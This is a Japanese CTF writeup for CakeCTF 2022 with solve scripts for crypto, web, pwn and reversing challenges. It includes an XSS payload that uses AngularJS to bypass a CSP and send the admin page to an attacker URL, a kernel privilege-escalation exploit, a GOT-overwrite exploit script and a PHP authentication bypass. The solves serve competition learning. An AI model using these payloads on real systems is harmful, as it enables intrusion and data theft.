CakeCTF 2022 Writeup

Sun Sep 04 2022

    9/3-9/4 で開催していた CakeCTF 2022 に参加しました。結果は 4th/713 でした (得点のあるチームのみカウント)。 寝るタイミングを失ってしまうぐらい面白かったです。やるだけみたいな問題はほぼなく、どの問題も学びがあって本当によかった… 解いた問題について writeup を書きます。量が多いので省略気味に書きます…

    crypto

    Rock Door

    9 solves

    server.py
    from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes
    from hashlib import sha256
    import os
    import secrets
    
    
    def h(s: bytes) -> int:
        return int(sha256(s).hexdigest(), 16)
    
    
    q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
    p = 2*q + 1
    
    assert isPrime(p)
    assert isPrime(q)
    
    g = 2
    flag = os.getenv("FLAG", "FakeCTF{hahaha_shshsh_hashman}")
    x = h(secrets.token_bytes(16) + flag.encode())
    y = pow(g, x, p)
    
    
    def sign(m: bytes):
        z = h(m)
        k = h(long_to_bytes(x + z))
        r = h(long_to_bytes(pow(g, k, p)))
        s = (z + x*r) * inverse(k, q) % q
        return r, s
    
    
    def verify(m: bytes, r: int, s: int):
        z = h(m)
        sinv = inverse(s, q)
        gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
        r2 = h(long_to_bytes(gk))
        return r == r2
    
    
    print("p =", p)
    print("g =", g)
    print("y =", y)
    
    print("=== sign ===")
    m = input("m = ").strip().encode()
    if b"goma" in m:
        quit()
    
    r, s = sign(m)
    # print("r =", r) do you really need?
    print("s =", s)
    
    print("=== verify ===")
    m = input("m = ").strip().encode()
    r = int(input("r = "))
    s = int(input("s = "))
    assert 0 < r < q
    assert 0 < s < q
    
    ok = verify(m, r, s)
    if ok and m == b"hirake goma":
        print(flag)
    elif ok:
        print("OK")
    else:
        print("NG")

    ほぼ DSA ですが、 kk が乱数ではなくハッシュから生成されています (k=h(x+z)k = h(x + z))。これを利用することを考えます。 最初の署名の段階で y,z,sy, z, s のペアから x,rx, r を求めないと2回目に任意の署名を作るのは難しいそうなのでこれを目指します。

    ハッシュ関数は一方向なので、当然解析的に xx が求まるわけではなさそうです。 kk の大きさに注目すると256ビットであり、他の数と比べて十分小さいため、格子を使う方向性が筋よさそうです。 k=(z+xr)s1modqk = (z + xr)s^{-1} \mod q という式に注目して LLL を使います。

    from hashlib import sha256
    
    from Crypto.Util.number import long_to_bytes
    
    
    def h(s: bytes) -> int:
        return int(sha256(s).hexdigest(), 16)
    
    
    q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
    p = 2*q + 1
    g = 2
    
    # メッセージを s として署名 s と公開鍵 y を入手
    z = h(b"a")
    y = 118533156261934174079957239785600726003504143719618930652301209430971439517610201818648654457722007484277653246853156623748561419338176015886797495627393125302673434524189463453860121173243430968310692572848937285105100544679493733497391554330928874050436371597091964526568385205554176020858124177010944938083
    s = 33599189094354173038344233582583173116718518110742000501995250215399826683709540054592684718974552907131991645099271266539308558374684205574620351437815313794448712904672221733019273210039583619445543456971841766592478929484029642162582240701916125529980538869957363536914390699170193499715294732336257939619
    sinv = int(pow(s, -1, q))
    
    # [x * r, 1, k] = [x * r, 1, l] * mat
    mat = matrix(ZZ, 3, 3)
    mat[0, 0] = 1
    mat[1, 1] = 1
    mat[0, 2] = sinv
    mat[1, 2] = sinv * z % q
    mat[2, 2] = -q
    weights = diagonal_matrix([1, 2**512, 2**256])
    mat *= weights
    res = mat.LLL()
    mat /= weights
    res /= weights

    この res[x * r, 1, k] となることを期待しているのですが、なぜかうまくいかず、 [?, 0, k] という形になってしまいます。何回か実験したところ毎回この形でした。幸い kk は正しく求まるのでここから xx を求めていきます (以下追記あり)。

    k = abs(int(res[0, 2]))
    xr = int((k * s - z) % q)
    r = h(long_to_bytes(int(pow(g, k, p))))
    s_ = int((z + xr) * pow(k, -1, q) % q)
    assert s == s_
    assert xr % r == 0
    x = xr // r

    xx が求まったのでクリアです。

    def sign(m: bytes):
        z = h(m)
        k = h(long_to_bytes(x + z))
        r = h(long_to_bytes(int(pow(g, k, p))))
        s = (z + x*r) * inverse(k, q) % q
        return r, s
    
    
    def verify(m: bytes, r: int, s: int):
        z = h(m)
        sinv = inverse(s, q)
        gk = int(pow(g, sinv*z, p) * pow(y, sinv*r, p) % p)
        r2 = h(long_to_bytes(gk))
        return r == r2
    
    
    r, s = sign(b"hirake goma")
    verify(b"hirake goma", r, s)

    CakeCTF{uum_hash_is_too_small_compared_to_modulus}

    【9/4 23:50 追記】

    この res[x * r, 1, k] となることを期待しているのですが、なぜかうまくいかず、 [?, 0, k] という形になってしまいます。

    の件について、 @josep68_ さんが原因を教えてくれました。ありがとうございます! https://twitter.com/josep68_/status/1566393491122376704?s=20&t=SN2a8TuB6vK7EZUblmR3iw

    the form is [z+xr, 0, k] (so you can actually just use a 2x2 matrix [[1, sinv], [0, -q]] instead, even without weights) LLL finds [z+xr, 0, 2^256 k] instead because it's smaller than the vector we expect [xr, 2^512, 2^256 k]

    [x * r, 1, k] よりもノルムの小さいベクトルとして、 [x * r + z, 0, k] が存在するので、 LLL ではこの解を導出してしまうとのことでした。k=(z+xr)s1modqk = (z + xr)s^{-1} \mod q の式を見ると確かにそうですね。 ということでこの問題では、

    # [x * r + z, k] = [x * r + z, l] * mat
    mat = matrix(ZZ, 2, 2)
    mat[0, 0] = 1
    mat[0, 1] = sinv
    mat[1, 1] = -q
    weights = diagonal_matrix([1, 2**256])
    mat *= weights
    res = mat.LLL()
    mat /= weights
    res /= weights

    とするほうがベターです。こうすることで、もともとの3次元行列での実装では (2512×2256q)1/32598(2^512 \times 2^256 q)^{1/3} \simeq 2^{598} 程度の最短ベクトルしか求まらなかったのが、 (2256q)1/22640(2^256 q)^{1/2} \simeq 2^{640} 程度の最短ベクトルが求まるようになりました。この問題ではどっちでも求まってしまいますが。

    【追記終わり】

    hi yoshiking

    10 solves

    server.rb
    require 'openssl'
    require 'json'
    
    class String
      def hex
        return self.unpack("H*")[0]
      end
    
      def unhex
        return [self].pack("H*")
      end
    end
    
    
    STDOUT.sync = true
    key = OpenSSL::Random.random_bytes(32)
    
    while true
      puts "1: create your token\n2: login with your token"
      print "> "
    
      case gets.strip.to_i
      when 1 then
        iv = OpenSSL::Random.random_bytes(12)
        print "your name: "
    
        name = gets.strip
        encryptor     = OpenSSL::Cipher.new('AES-256-GCM')
        encryptor.encrypt
        encryptor.key = key
        encryptor.iv  = iv
    
        token = encryptor.update(JSON.generate({
          "username" => name,
          "is_yoshiking" => false,
        })) + encryptor.final
        puts "your token: #{iv.hex}:#{token.hex}:#{encryptor.auth_tag.hex}"
    
      when 2 then
        print "your token: "
    
        begin
          iv, c, tag  = gets.strip.split(":").map(&:unhex)
    
          decryptor     = OpenSSL::Cipher.new('AES-256-GCM')
          decryptor.decrypt
          decryptor.key = key
          decryptor.iv  = iv
          decryptor.auth_tag = tag
    
          data = JSON.parse(decryptor.update(c) + decryptor.final)
    
          if data["username"] == "yoshiking" and data["is_yoshiking"] then
            raise "I know it is fake at all" unless tag.size == 16
            puts "I'm glad you could come, yoshiking. Here is the flag: #{ENV["flag"] || "fakeCTF{yoyooyoyoyyoo_shikiiiiiiiing}"}"
          else
            puts "hello #{data["username"]}"
          end
            
        rescue => e
          p e
        end
    
      else
        break
      end
    end

    うっ、 ruby...わざわざ ruby で出すということは ruby 特有の問題なのではという気持ちになります。 ソースコードを読むと raise "I know it is fake at all" unless tag.size == 16 の部分が気になります。 tag.size == 16?それはそうでは? https://www.mbsd.jp/research/20200901/aes-gcm/ とかを読んでみると、 PHP や ruby では AES-GCM のタグの長さを検証しないといけないとのことでした。 そんなことある?と思ってタグを最初の1バイトのみにして検証してみると確かに通ります。 さらに実験してみると、先頭から一致していれば検証が通ることがわかります。ということで任意の暗号文に対するタグを先頭から1文字ずつリークすることが可能になります。 あとは暗号文を偽造するだけです。これは xor で作られているので簡単。

    solve.py
    from binascii import unhexlify
    from pwn import remote, xor
    
    io = remote("crypto.2022.cakectf.com", 10333)
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"your name: ", b"yoshiking")
    io.recvuntil(b"your token: ")
    ret = io.recvline().strip().decode()
    iv, token, tag = ret.split(":")
    token = unhexlify(token)
    
    m1 = msg[32:]
    m2 = b'iking": true}'
    assert len(m1) == len(m2)
    diff = xor(msg[32:], b'iking": true}')
    new_token = token[:32] + long_to_bytes(bytes_to_long(token[32:] + b"\x00" * 19) ^ bytes_to_long(diff + b"\x00" * 19))
    new_token = new_token[:45]
    tag = b""
    for idx in range(16):
        for i in range(256):
            payload = iv + ":" + new_token.hex() + ":" + (tag + long_to_bytes(i)).hex()
            _ = io.sendlineafter(b"> ", b"2")
            _ = io.sendlineafter(b"your token: ", payload)
            ret = io.recvline().strip().decode()
            if ret != "OpenSSL::Cipher::CipherError":
                print(ret, tag)
                tag += long_to_bytes(i)

    CakeCTF{hi_yoshiking_lets_go_sushi}

    brand new crypto

    46 solves

    task.py
    from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD
    import os
    
    flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode()
    
    
    def keygen():
        p = getPrime(512)
        q = getPrime(512)
    
        n = p * q
        phi = (p-1)*(q-1)
    
        while True:
            a = getRandomRange(0, phi)
            b = phi + 1 - a
    
            s = getRandomRange(0, phi)
            t = -s*a * inverse(b, phi) % phi
    
            if GCD(b, phi) == 1:
                break
        return (s, t, n), (a, b, n)
    
    
    def enc(m, k):
        s, t, n = k
        r = getRandomRange(0, n)
    
        c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n
        assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n)
        assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n
        return m * pow(r, s, n) % n, m * pow(r, t, n) % n
    
    
    def dec(c1, c2, k):
        a, b, n = k
        return pow(c1, a, n) * pow(c2, b, n) % n
    
    
    pubkey, privkey = keygen()
    
    c = []
    for m in flag:
        c1, c2 = enc(m, pubkey)
        assert dec(c1, c2, privkey)
    
        c.append((c1, c2))
    
    print(pubkey)
    print(c)

    フラグを1文字ずつ暗号化しています。つまり復号が直接できなくてもある正しい1文字 mm に対してのみ成立する等式を見つけられれば1文字ずつ平文を特定できます。 c1=mrsmodnc_1 = mr^s \mod n, c2=mrtmodnc_2 = mr^t \mod n を変形すると (c1m1)t=(c2m1)s(c_1 m^{-1})^t = (c_2 m^{-1})^s となります。これを使います。

    solve.py
    s, t, n = pubkey
    flag = ""
    for idx in range(len(c)):
        c1, c2 = c[idx]
        for m in range(32, 127):
            m_inv = pow(m, -1, n)
            if pow(c1 * m_inv, t, n) == pow(c2 * m_inv, s, n):
                flag += chr(m)
                print(flag)
                break

    CakeCTF{s0_anyway_tak3_car3_0f_0n3_byt3_p1aint3xt}

    frozen cake

    132 solves

    task.py
    from Crypto.Util.number import getPrime
    import os
    
    flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}")
    m = int(flag.encode().hex(), 16)
    
    p = getPrime(512)
    q = getPrime(512)
    
    n = p*q
    
    print("n =", n)
    print("a =", pow(m, p, n))
    print("b =", pow(m, q, n))
    print("c =", pow(m, n, n))

    意外と見ない形の RSA 問題で一瞬焦りますが、 mn=mpq=mpq(p1)(q1)=mp+qm1modnm^n = m^{pq} = m^{pq - (p-1)(q-1)} = m^{p+q}m^{-1} \mod n (m(p1)(q1)=1modnm^{(p-1)(q-1)} = 1 \mod n を利用) となるので mn,mp,mqm^n, m^p, m^q から mm が求まります。

    solve.py
    from Crypto.Util.number import long_to_bytes
    
    
    n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131
    a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528
    b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477
    c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549
    
    long_to_bytes(int(a * b * pow(c, -1, n)))

    CakeCTF{oh_you_got_a_tepid_cake_sorry}

    web

    OpenBio

    50 solves

    入力がサニタイズされていないので <script> を埋め込むこと自体は簡単です。しかし CSP で守られています。

    app.py
    @app.after_request
    def after_request(response):
        csp  = ""
        csp +=  "default-src 'none';"
        if 'csp_nonce' in flask.g:
            csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
        else:
            csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
        csp += f"style-src https://cdn.jsdelivr.net/;"
        csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
        csp += f"base-uri 'none';"
        csp += f"connect-src 'self';"
        response.headers['Content-Security-Policy'] = csp
        return response
    
    @app.context_processor
    def csp_nonce_init():
        flask.g.csp_nonce = base64.b64encode(os.urandom(16)).decode()
        return dict(csp_nonce=flask.g.csp_nonce)

    基本的に nonce で守られています。 <script みたいにタグを閉じないことで後続の nonce を奪えるみたいな手法があったと思うのですが、それは通りませんでした。

    nonce 以外に、ホワイトリストに登録されているものがいくつかあります。これらから angular とかが呼び出せると、 {{constructor.constructor('...')()}} という形で任意のスクリプトを実行できることが知られています。 https://csp-evaluator.withgoogle.com/ のサイトに CSP のヘッダーを貼っつけると https://cdn.jsdelivr.net/ がやばいよと言われます。実際 https://cdn.jsdelivr.net/npm/[email protected]/angular.js に angular がありました。 というわけであとは admin ページを fetch したときのデータを手元に持ってくるだけです。 こういうとき redirect させるの嫌なので st98 さんに昔教えてもらった sendBeacon を使う方法でやりたかったのですが、 CSP に弾かれてしまいました… setTimeout でごまかしました。以下のスクリプトを埋め込むことでフラグが手に入りました。

    <script src="https://cdn.jsdelivr.net/npm/[email protected]/angular.js"></script> <p ng-app>{{constructor.constructor('fetch("/").then(r => r.text()).then(t => setTimeout(() => {location.href="MYURL?q="+escape(t)}, 2000))')()}}

    CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}

    CakeGEAR

    104 solves

    以下の部分が怪しいです。

    index.php
        if ($req->username === 'godmode'
            && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
            /* Debug mode is not allowed from outside the router */
            $req->username = 'nobody';
        }
    
        switch ($req->username) {
            case 'godmode':
                /* No password is required in god mode */
                $_SESSION['login'] = true;
                $_SESSION['admin'] = true;
                break;

    usernamegodmode にしても REMOTE_ADDR を localhost にできないと godmode には突入できなさそうに見えます。 しかし調べてみると PHP の switch 文は緩やかな比較をするということなので、 username=true とかにしてしまうと "godmode" == true となり、最初の case が実行されます。 https://www.php.net/manual/ja/types.comparisons.php とかを参照。

    CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}

    pwn

    welkerme

    75 solves

    人生初 kernel exploit 問。 README がある (しかも日本語のもある) のでこれをじっくり読みます。 ドライバの概念とかはよくわからなかったですが、 exploit.cfunc 内で commit_creds(prepare_kernel_cred(NULL)); を呼べればよさそうということがわかりました。 これをするためには commit_credsprepare_kernel_cred のアドレスを知る必要があるのですが、 /proc/kallsyms に書いてあるとのことです。 しかし、 /proc/kallsyms は root じゃないと読めません。アドレスはランダムだろうから一般ユーザーには知る由もないのでは…?と思いきや、 run.sh を見ると nokaslr という指定がありました。きっとこれでアドレスのランダム化を防いでいるのでしょう。 なので流れとしては、 debug モード (make dev) でアドレスを知る→ exploit.c で commit_creds, prepare_kernel_cred を定義する→ commit_creds(prepare_kernel_cred(NULL)); を呼ぶ→シェルを叩くという形です。

    :exploit.c
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    
    #define CMD_ECHO 0xc0de0001
    #define CMD_EXEC 0xc0de0002
    
    void *(*prepare_kernel_cred)(void *);
    int (*commit_creds)(void *);
    
    int func(void) {
      commit_creds(prepare_kernel_cred(NULL));
      return 31337;
    }
    
    int main(void) {
      int fd, ret;
    
      prepare_kernel_cred = (void *)0xffffffff810726e0;
      commit_creds = (void *)0xffffffff81072540;
    
      if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
        perror("/dev/welkerme");
        exit(1);
      }
    
      ret = ioctl(fd, CMD_ECHO, 12345);
      printf("CMD_ECHO(12345) --> %d\n", ret);
    
      ret = ioctl(fd, CMD_EXEC, (long)func);
      printf("CMD_EXEC(func) --> %d\n", ret);
    
      close(fd);
    
      execl("/bin/sh", "sh", NULL);
      return 0;
    }

    CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

    str.vs.cstr

    88 solves

    main.cpp
    #include <array>
    #include <iostream>
    
    struct Test {
      Test() { std::fill(_c_str, _c_str + 0x20, 0); }
      char* c_str() { return _c_str; }
      std::string& str() { return _str; }
    
    private:
      __attribute__((used))
      void call_me() {
        std::system("/bin/sh");
      }
    
      char _c_str[0x20];
      std::string _str;
    };
    
    int main() {
      Test test;
    
      std::setbuf(stdin, NULL);
      std::setbuf(stdout, NULL);
    
      std::cout << "1. set c_str" << std::endl
                << "2. get c_str" << std::endl
                << "3. set str" << std::endl
                << "4. get str" << std::endl;
    
      while (std::cin.good()) {
        int choice = 0;
        std::cout << "choice: ";
        std::cin >> choice;
    
        switch (choice) {
          case 1: // set c_str
            std::cout << "c_str: ";
            std::cin >> test.c_str();
            break;
    
          case 2: // get c_str
            std::cout << "c_str: " << test.c_str() << std::endl;
            break;
    
          case 3: // set str
            std::cout << "str: ";
            std::cin >> test.str();
            break;
    
          case 4: // get str
            std::cout << "str: " << test.str() << std::endl;
            break;
    
          default: // otherwise exit
            std::cout << "bye!" << std::endl;
            return 0;
        }
      }
      
      return 1;
    }
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    c の char* と cpp の string がこの順でスタック上に存在しています。 std::cin >> test.c_str() にオーバーフローの脆弱性があります。

    string は「文字列を格納するアドレス (8bytes), 長さ (8bytes), 文字列 (短ければここに、長ければ heap 上に)」という構造をしています。なので「文字列を格納するアドレス」を test.c_str() のオーバーフローで書き換えれば GOT に任意書き込みができます。これで call_me を呼べるようにします。

    solve.py
    from pwn import *
    
    
    elf = ELF("./chall")
    
    io = remote("pwn1.2022.cakectf.com", 9003)
    
    context.binary = elf
    
    # libc のアドレス解決をするために 2, 4 を呼んでおく
    io.sendlineafter(b"choice", b"2")
    io.sendlineafter(b"choice", b"4")
    io.sendlineafter(b"choice", b"3")
    io.sendlineafter(b"str: ", b"B" * 0x50)
    io.sendlineafter(b"choice", b"1")
    io.sendlineafter(b"c_str: ", b"A" * 0x20 + p64(0x00404048))
    io.sendlineafter(b"choice", b"3")
    io.sendlineafter(b"str: ", p64(0x4016de))
    io.interactive()

    CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}

    rev

    kiwi

    18 solves

    この問題を解くためには大きく分けて3ステップあり、①適切な鍵のフォーマットの特定、② checkMessage が通る条件の特定、③暗号文のデコード、といった感じです。

    ①適切な鍵のフォーマットの特定 入力は chunk に分かれていて、先頭が 00, 01, 02 で分岐します。

    • 00 -> 読み込み終了
    • 01 -> その後の文字を1文字ずつ読みとって this + 0x18 を代入。各バイトの最上位ビットが1ならば読み続け、0ならば終了
    • 02 -> chunk_size, c1, c2, c3, ... という形式で読み取る。

    checkMessage が通る条件の特定

    • this & 1 != 1
    • *(this + 0x18) == -0x35013b0d (or 0xcafec4f3)
    • this & 2 != 2
    • this + 0x8 の array のサイズが8以上

    1つ目と3つ目は 01, 02 の処理を行うと自動的に満たされます。 01 のほうの条件はややこしいですが、以下のようなスクリプトで適切な chunk を決定できます。

    from Crypto.Util.number import long_to_bytes
    
    target = 0xcafec4f3
    bin_target = bin(target)[2:]
    ans = ""
    for i in range(0, len(bin_target), 7):
        if i == 0:
            tmp = bin_target[-i-7:]
        else:
            tmp = bin_target[-i-7:-i]
        if len(tmp) != 7:
            break
        ans += "1" + tmp
    ans += "0000" + tmp
    long_to_bytes(int(ans, 2)).hex()
    # 01f389fbd70c

    02 のほうは chunk_size が8以上であればなんでもよさそうです。 02080000000000000000 とでもしておきます。 全体を踏まえ、 01f389fbd70c0208000000000000000000checkMessage を突破できます。

    ③暗号文のデコード 02 で指定した鍵を使ってフラグが暗号化されます。この暗号化は xor に毛が生えたものになっているので簡単に復号できます。

    from binascii import unhexlify
    from pwn import xor
    
    enc = unhexlify("bc9f9699b8aebf8380c5aa9ac0c195af9bdeb29c99d99fdb8992baa38c8d868cba81bbaeebb786aba3e2bbb0e7a0b5e1b5ffa3ab94afbffbb5bfb1acf2aca6bd")
    xor(enc, bytes(i for i in range(len(enc))), b"\xff" * len(enc))

    CakeCTF{w3_n33d_t0_pr3v3nt_Google_fr0m_st4nd4rd1z1ng_ev3ryth1ng}

    zundamon

    20 solves

    This program may harm your computer. Do not run it outside sandbox. という赤字の注意書きが怖い問題。 pcap ファイルも配られており、 RPUSH などの文字列から redis に何かを格納している様子が伺えます。 pcap の RPUSH 周辺や、バイナリ上でそれを書き込んでいる部分の周辺を見てみると、何かしらの3バイトを定期的に送っていそうです。以下のような形式です。

    1d0001
    1d0002
    2d0001
    2d0000
    210001
    210000
    1d0000
    210001
    210000
    0f0001
    0f0000
    ...
    

    もう少しバイナリを見ると、これらの値は /dev/input/ の何かのイベントを読み取っていることがわかります。このイベントが何なのかを特定する術を持っていなかったためエスパーしたところ (1d, 2d などの文字や /dev/input などで検索をかけた)、キーボードの入力を表していそうです。

    まず pcap から↑の3バイトに相当するものを全部列挙します。

    with open("evidence.pcapng", "rb") as fp:
        buf = fp.read()
    
    contents = []
    prefix = b"\x24\x31\x37\x0d\x0a\x64\x38\x3a\x66\x32\x3a\x63\x61\x3a\x63\x65\x3a\x34\x34\x3a\x38\x64\x0d\x0a\x24\x33\x0d\x0a"
    while True:
        idx = buf.find(prefix)
        if idx == -1:
            break
        buf = buf[idx:]
        contents.append(buf[len(prefix): len(prefix) + 3].hex())
        assert buf[len(prefix) + 3: len(prefix) + 5] == b"\x0d\x0a"
        buf = buf[len(prefix) + 5:]

    自分のキーボードの入力を hexdump /dev/input/... で確認したりググったりして、キーと数値の対応関係を見つけます。

    # https://www.win.tue.nl/~aeb/linux/kbd/scancodes-7.html
    keymap = {
        "2a": "<SFT>",
        "2c": "z",
        "2d": "x",
        "2e": "c",
        "2f": "v",
        "30": "b",
        "31": "n",
        "32": "m",
        "33": ",",
        "34": ".",
        "35": "/",
        "1e": "a",
        "1f": "s",
        "20": "d",
        "21": "f",
        "22": "g",
        "23": "h",
        "24": "j",
        "25": "k",
        "26": "l",
        "27": ";",
        "28": "'",
        "2b": "\\",
        "10": "q",
        "11": "w",
        "12": "e",
        "13": "r",
        "14": "t",
        "15": "y",
        "16": "u",
        "17": "i",
        "18": "o",
        "19": "p",
        "1a": "[",
        "1b": "]",
        "1c": "<ENT>",
        "1d": "<CTL>",
        "0f": "<TAB>",
        "02": "1",
        "03": "2",
        "04": "3",
        "05": "4",
        "06": "5",
        "07": "6",
        "08": "7",
        "09": "8",
        "0a": "9",
        "0b": "0",
        "0c": "-",
        "0d": "=",
        "0e": "<BS>",
        "6c": "<META>",
        "69": "<FIND>",
        "59": "<F2>",
        "4f": "1",
        "39": "<SPACE>",
    }

    これらの情報を元になんのキーを打ったか確認します。

    new_contents = []
    ans = ""
    for c in contents:
        if c[-2:] == "01":
            tmp = keymap.get(c[:2], "?")
            ans += tmp
            new_contents.append((c, tmp))
            if tmp == "?":
                print(c[:2])
        else:
            tmp = keymap.get(c[:2], "?")
            new_contents.append((c, tmp))
            if tmp == "?":
                print(c[:2])

    ans (キーを押した瞬間だけを考慮した文字列) は '<CTL>xff<TAB><ENT><META><META><ENT><BS><BS><BS><ENT><SFT>cake<SFT>ctf]<SFT>\\<FIND>b3<SFT><F2>c4r3fu<SFT>l<SFT><F2>0f<SFT><F2>m4l1c10us<SFT><F2>k3y<SFT>l0gg3r1<ENT><SFT>i<SPACE>hope<SPACE>nobody<SPACE>is<SPACE>seeing<SPACE>my<SPACE>screen...<ENT><CTL>xs' となりました。 <CTL>xf とか確か emacs とかのキーバインドだった気がする (自分は vim 派) ので、恐らく方針は合っていそう。 しかしよくあるフラグの書式だと _ になりそうな部分が <SFT><F2> となってしまっていたり、このままだと正しいフラグにはならなそうです。 キーボード特定しないといけない?大変そうだったのでエスパーしました。

    CakeCTF{b3_c4r3fuL_0f_m4l1c10us_k3yL0gg3r}

    luau

    64 solves

    lua の rev 問。 lua わからん… とりあえずディスアセンブルぐらいはできないと何もできないな、ということでぐぐると https://github.com/viruscamp/luadec というツールがあることを知り、 version 5.3 に対応したもの (配布バイナリがこのバージョン) をインストールしました。 luadec -dis libflag.lua > disasm のようなコマンドでディスアセンブルができます。

    ; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
    ; Command line: -dis ../../libflag.lua 
    
    ; Function:        0
    ; Defined at line: 0
    ; #Upvalues:       1
    ; #Parameters:     0
    ; Is_vararg:       2
    ; Max Stack Size:  2
    
        0 [-]: CLOSURE   R0 0         ; R0 := closure(Function #0_0)
        1 [-]: NEWTABLE  R1 0 1       ; R1 := {} (size = 0,1)
        2 [-]: SETTABLE  R1 K0 R0     ; R1["checkFlag"] := R0
        3 [-]: RETURN    R1 2         ; return R1
        4 [-]: RETURN    R0 1         ; return 
    
    
    ; Function:        0_0
    ; Defined at line: 1
    ; #Upvalues:       1
    ; #Parameters:     2
    ; Is_vararg:       0
    ; Max Stack Size:  41
    
        0 [-]: NEWTABLE  R2 26 0      ; R2 := {} (size = 26,0)
        1 [-]: LOADK     R3 K0        ; R3 := 62
        2 [-]: LOADK     R4 K1        ; R4 := 85
        3 [-]: LOADK     R5 K2        ; R5 := 25
        4 [-]: LOADK     R6 K3        ; R6 := 84
        5 [-]: LOADK     R7 K4        ; R7 := 47
        6 [-]: LOADK     R8 K5        ; R8 := 56
        7 [-]: LOADK     R9 K6        ; R9 := 118
        8 [-]: LOADK     R10 K7       ; R10 := 71
        9 [-]: LOADK     R11 K8       ; R11 := 109
       10 [-]: LOADK     R12 K9       ; R12 := 0
       11 [-]: LOADK     R13 K10      ; R13 := 90
       12 [-]: LOADK     R14 K7       ; R14 := 71
       13 [-]: LOADK     R15 K11      ; R15 := 115
       14 [-]: LOADK     R16 K12      ; R16 := 9
       15 [-]: LOADK     R17 K13      ; R17 := 30
       16 [-]: LOADK     R18 K14      ; R18 := 58
       17 [-]: LOADK     R19 K15      ; R19 := 32
       18 [-]: LOADK     R20 K16      ; R20 := 101
       19 [-]: LOADK     R21 K17      ; R21 := 40
       20 [-]: LOADK     R22 K18      ; R22 := 20
       21 [-]: LOADK     R23 K19      ; R23 := 66
       22 [-]: LOADK     R24 K20      ; R24 := 111
       23 [-]: LOADK     R25 K21      ; R25 := 3
       24 [-]: LOADK     R26 K22      ; R26 := 92
       25 [-]: LOADK     R27 K23      ; R27 := 119
       26 [-]: LOADK     R28 K24      ; R28 := 22
       27 [-]: LOADK     R29 K10      ; R29 := 90
       28 [-]: LOADK     R30 K25      ; R30 := 11
       29 [-]: LOADK     R31 K23      ; R31 := 119
       30 [-]: LOADK     R32 K26      ; R32 := 35
       31 [-]: LOADK     R33 K27      ; R33 := 61
       32 [-]: LOADK     R34 K28      ; R34 := 102
       33 [-]: LOADK     R35 K28      ; R35 := 102
       34 [-]: LOADK     R36 K11      ; R36 := 115
       35 [-]: LOADK     R37 K29      ; R37 := 87
       36 [-]: LOADK     R38 K30      ; R38 := 89
       37 [-]: LOADK     R39 K31      ; R39 := 34
       38 [-]: LOADK     R40 K31      ; R40 := 34
       39 [-]: SETLIST   R2 38 1      ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, FPF=50
       40 [-]: LEN       R3 R0        ; R3 := #R0
       41 [-]: LEN       R4 R2        ; R4 := #R2
       42 [-]: EQ        1 R3 R4      ; if R3 ~= R4 then goto 44 else goto 46
       43 [-]: JMP       R0 2         ; PC += 2 (goto 46)
       44 [-]: LOADBOOL  R3 0 0       ; R3 := false
       45 [-]: RETURN    R3 2         ; return R3
       46 [-]: NEWTABLE  R3 0 0       ; R3 := {} (size = 0,0)
       47 [-]: NEWTABLE  R4 0 0       ; R4 := {} (size = 0,0)
       48 [-]: LOADK     R5 K32       ; R5 := 1
       49 [-]: LEN       R6 R0        ; R6 := #R0
       50 [-]: LOADK     R7 K32       ; R7 := 1
       51 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 60)
       52 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
